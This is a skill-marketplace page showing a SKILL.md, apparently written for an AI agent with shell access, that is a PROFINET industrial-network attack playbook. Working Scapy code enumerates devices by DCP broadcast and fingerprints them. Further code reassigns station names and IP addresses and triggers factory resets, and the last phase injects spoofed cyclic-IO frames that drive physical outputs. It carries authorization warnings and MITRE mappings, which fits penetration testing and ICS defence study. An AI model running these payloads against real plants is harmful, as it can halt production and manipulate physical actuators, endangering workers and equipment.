Skip to main content

profinet

PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
٣٠ مايو ٢٠٢٦ في ١١:٤٢
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٦٥
التفرعات
١٬٠٥٣

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
profinet
description
PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"profinet profinet-rt dcp 0x8892 34962 34963 34964 siemens fieldbus pnio discovery device-name station-name reassign flash-led factory-reset","subdomain":"ics-ot","tags":"profinet, dcp, siemens, ics, ot, fieldbus","mitre_attack":"T0842, T0846, T0814, T0816"}
# PROFINET Attack Playbook (EtherType 0x8892 / DCP) PROFINET is the dominant European/Siemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet/IP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. **The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN/TAP into it).** DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials. ## SAFETY FIRST DCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to `BF` (Bus Fault) state and the process typically enters a safe/halt state or continues with the last-known values depending on watchdog configuration. **This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection.** DCP Identify (read) is safe. ## Prerequisites - Physical or logical access to the OT L2 segment (direct port, rogue switch, SPAN, compromised HMI/engineering workstation on the same VLAN). - Wireshark with `pn_dcp` dissector (ships by default — filter: `pn_dcp`). - Python with `scapy` for DCP crafting (or `python-profinet` library). ```bash # Verify interface sees PROFINET frames sudo tcpdump -i eth0 ether proto 0x8892 -c 20 # If frames appear: you are on the OT segment # Install scapy (already on Kali) pip install scapy # python-profinet (alternative higher-level library) pip install profinet ``` ## Phase 1 — Discover: DCP Identify-All broadcast DCP Identify-All is a Layer-2 broadcast to `01:0E:CF:00:00:00` (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware. ### Wireshark passive discovery ```bash # Capture DCP traffic — Identify requests and responses sudo wireshark -i eth0 -f "ether proto 0x8892" -k # Filter in Wireshark: pn_dcp.block_type == 0x0101 (NameOfStation) # Filter for Identify responses: pn_dcp.service_id == 5 && pn_dcp.service_type == 1 ``` ### Active DCP Identify-All broadcast (Scapy) ```python from scapy.all import Ether, sendp, sniff import struct, socket, time PROFINET_ETHERTYPE = 0x8892 DCP_MULTICAST_MAC = "01:0e:cf:00:00:00" IFACE = "eth0" # replace with your OT interface def build_dcp_identify_all(xid=1): """Build a PROFINET DCP Identify-All request frame.""" # PROFINET Real-Time header: FrameID 0xFEFE (DCP Identify) frame_id = struct.pack(">H", 0xFEFE) # DCP header: ServiceID=5 (Identify), ServiceType=0 (Request), XID, Reserved, DCPDataLength dcp_header = struct.pack(">BBHHHH", 0x05, # ServiceID: Identify 0x00, # ServiceType: Request xid, # XID 0x0000, # Reserved 0x0000, # ResponseDelay (0=immediate broadcast) 0x0004, # DCPDataLength (4 bytes for the suboption block) ) # DCP block: Option=All (0xFF), Suboption=All (0xFF), DCPBlockLength=0 dcp_block = struct.pack(">BBH", 0xFF, 0xFF, 0x0000) payload = frame_id + dcp_header + dcp_block frame = Ether(dst=DCP_MULTICAST_MAC, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload return frame def dcp_identify_all(iface=IFACE, timeout=3): frame = build_dcp_identify_all() sendp(frame, iface=iface, verbose=False) print(f"[*] DCP Identify-All sent on {iface}, listening {timeout}s for responses...") responses = sniff( iface=iface, filter=f"ether proto {hex(PROFINET_ETHERTYPE)}", timeout=timeout, count=200, ) devices = [] for pkt in responses: raw = bytes(pkt.payload) frame_id = struct.unpack(">H", raw[:2])[0] if frame_id == 0xFEFE and len(raw) > 10: # This is a DCP response — parse it src_mac = pkt.src # Extract NameOfStation from block (simple heuristic parse) # Full parsing requires walking DCP blocks; Wireshark's pn_dcp is most reliable devices.append({"mac": src_mac, "raw_len": len(raw)}) print(f" Response from {src_mac} ({len(raw)} bytes) — open in Wireshark for details") return devices dcp_identify_all() ``` ### Using Siemens STEP 7 / TIA Portal (if available on compromised engineering workstation) TIA Portal's "Accessible Devices" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS. ## Phase 2 — Device fingerprinting: DCP Get DCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device / IO-Controller / IO-Supervisor). ```python from scapy.all import Ether, sendp, sniff import struct PROFINET_ETHERTYPE = 0x8892 IFACE = "eth0" def build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01): """ DCP Get Request for a specific block. option 0x01 suboption 0x01 = NameOfStation option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway) option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID) option 0x02 suboption 0x05 = DeviceOptions """ frame_id = struct.pack(">H", 0xFEFD) # 0xFEFD = DCP Get/Set dcp_header = struct.pack(">BBHHHH", 0x03, # ServiceID: Get 0x00, # ServiceType: Request xid, 0x0000, 0x0000, 0x0004, # DCPDataLength ) dcp_block = struct.pack(">BBH", option, suboption, 0x0000) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # Get station name from device with known MAC # frame = build_dcp_get("aa:bb:cc:dd:ee:ff", option=0x01, suboption=0x01) # sendp(frame, iface=IFACE, verbose=False) # capture response with sniff(iface=IFACE, filter=f"ether src aa:bb:cc:dd:ee:ff ...", timeout=2) ``` ## Phase 3 — Flash-LED (physical device location) DCP Set with `Suboption=Signal` causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process. ```python def build_dcp_flash_led(dst_mac, xid=10): """DCP Set Signal — blink device LED (physical locate).""" frame_id = struct.pack(">H", 0xFEFD) # Block: Option=0x05 (Control), Suboption=0x03 (Signal) # BlockQualifier=0x0000, SignalValue=0x0100 (blink) dcp_block = struct.pack(">BBHHh", 0x05, 0x03, 0x0004, 0x0000, 0x0100) dcp_data_len = len(dcp_block) dcp_header = struct.pack(">BBHHHH", 0x04, # ServiceID: Set 0x00, # ServiceType: Request xid, 0x0000, 0x0000, dcp_data_len, ) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # sendp(build_dcp_flash_led("aa:bb:cc:dd:ee:ff"), iface=IFACE) ``` ## Phase 4 — DCP Set attacks (SAFETY GATE — write-class authorization required) > **STOP. All DCP Set operations below are write-class and require explicit scope authorization.** > Station-name change and IP change immediately disrupt process communication. ### Station-name reassignment (process disruption) When a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to `BF` (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack. ```python def build_dcp_set_station_name(dst_mac, new_name, xid=20): """ DCP Set NameOfStation. Option=0x01, Suboption=0x01 (NameOfStation). new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars) """ name_bytes = new_name.encode("ascii").lower() # Pad to even length if len(name_bytes) % 2: name_bytes += b"\x00" block_len = len(name_bytes) # Block: Option, Suboption, DCPBlockLength, BlockQualifier, Name dcp_block = struct.pack(">BBH", 0x01, 0x01, block_len + 2) + struct.pack(">H", 0x0001) + name_bytes total_len = len(dcp_block) dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len) frame_id = struct.pack(">H", 0xFEFD) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # AUTHORIZED TESTING ONLY: # sendp(build_dcp_set_station_name("aa:bb:cc:dd:ee:ff", "attacker-device"), iface=IFACE) # After this, the original controller can no longer find "original-station-name" # The device enters BF state and may stop responding to IO controller. ``` ### IP address reassignment ```python import ipaddress def build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21): """ DCP Set IPSuite. Option=0x01, Suboption=0x02. """ ip_int = int(ipaddress.IPv4Address(new_ip)) sub_int = int(ipaddress.IPv4Address(new_subnet)) gw_int = int(ipaddress.IPv4Address(new_gateway)) dcp_block = struct.pack(">BBH", 0x01, 0x02, 14) + \ struct.pack(">H", 0x0001) + \ struct.pack(">III", ip_int, sub_int, gw_int) total_len = len(dcp_block) frame_id = struct.pack(">H", 0xFEFD) dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # AUTHORIZED TESTING ONLY: # sendp(build_dcp_set_ip("aa:bb:cc:dd:ee:ff", "192.168.1.99", "255.255.255.0", "192.168.1.1"), iface=IFACE) ``` ### Factory reset Factory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production. ```python def build_dcp_factory_reset(dst_mac, xid=30): """ DCP Set Control/FactoryReset. Option=0x05, Suboption=0x04. """ dcp_block = struct.pack(">BBH", 0x05, 0x04, 0x0002) + struct.pack(">H", 0x0000) total_len = len(dcp_block) frame_id = struct.pack(">H", 0xFEFD) dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len) payload = frame_id + dcp_header + dcp_block return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload # AUTHORIZED TESTING ONLY — extremely disruptive: # sendp(build_dcp_factory_reset("aa:bb:cc:dd:ee:ff"), iface=IFACE) ``` ## Phase 5 — PROFINET RT frame injection / cyclic IO spoofing PROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT frames. An attacker on the segment can inject or replay spoofed IO data frames. ```bash # Capture baseline cyclic IO traffic for a device pair sudo tcpdump -i eth0 -w /tmp/profinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff # Open in Wireshark, filter: pn_rt.frame_id >= 0x8000 and pn_rt.frame_id <= 0xBFFF # Identify FrameID, CycleCounter pattern, DataLen for the target device ``` ```python from scapy.all import Ether, sendp import struct, time def inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface="eth0"): """ Inject a PROFINET RT cyclic data frame. frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF) cycle_counter: Increment to match expected sequence (replay detection hint) io_data: bytes — the cyclic process data payload (output values for the IO-device) """ # PROFINET RT: FrameID (2B) + Data + CycleCounter (2B) + DataStatus (1B) + TransferStatus (1B) rt_header = struct.pack(">H", frame_id) rt_footer = struct.pack(">HBB", cycle_counter, 0x35, 0x00) # DataStatus 0x35 = valid + running + no problem payload = rt_header + io_data + rt_footer frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) / payload sendp(frame, iface=iface, verbose=False) # Example: inject zeroed output data (all outputs off) — AUTHORIZED TESTING ONLY # io_data = b"\x00" * 4 # size must match actual IO module output size # inject_profinet_rt("aa:bb:cc:dd:ee:ff", "00:11:22:33:44:55", 0x8001, 1234, io_data) ``` > Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital/analog outputs) actuate per the injected data. ## Common findings | Finding | MITRE | Impact | |---|---|---| | DCP Identify-All reveals all device identities unauthenticated | T0846 | Full OT asset inventory leak; reveals vendor/firmware/station names | | DCP Set — station name reassignment accepted | T0816 | Process disruption: IO controller loses device, production halt | | DCP Set — factory reset accepted | T0816 | Device re-commissioning required; extended downtime | | PROFINET RT — no frame authentication | T0836 | Cyclic IO data spoofing; physical actuator manipulation | | Flat IT/OT L2 (office and OT on same VLAN) | T0814 | Attacker can reach PROFINET segment from corporate LAN | | Siemens S7 + PROFINET co-located (common) | T0842 | Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill) | ## Evidence ```python kg_add_node( kind="finding", label="PROFINET DCP unauthenticated device enumeration", props={ "key": f"profinet-dcp::{iface}", "protocol": "profinet-dcp", "ethertype": "0x8892", "devices_found": device_count, "station_names": station_names_list, # list of discovered names "dcp_set_accepted": False, # set True only after confirmed write-scope test "source": "scapy-dcp-identify-all", "l2_segment": iface, }, ) ``` ## ZFP (two-method evidence) 1. Wireshark capture (`.pcap`) containing DCP Identify responses, showing at least one device with decoded `NameOfStation`, `IPSuite`, and `VendorID` blocks. 2. Parsed output table showing MAC → station-name → IP → device-type → firmware for each discovered device.
عرض على GitHub
ملف SKILL.md هذا كبير جدا، لذلك يعرض SkillsMP القسم الاول فقط هنا. عرض على GitHub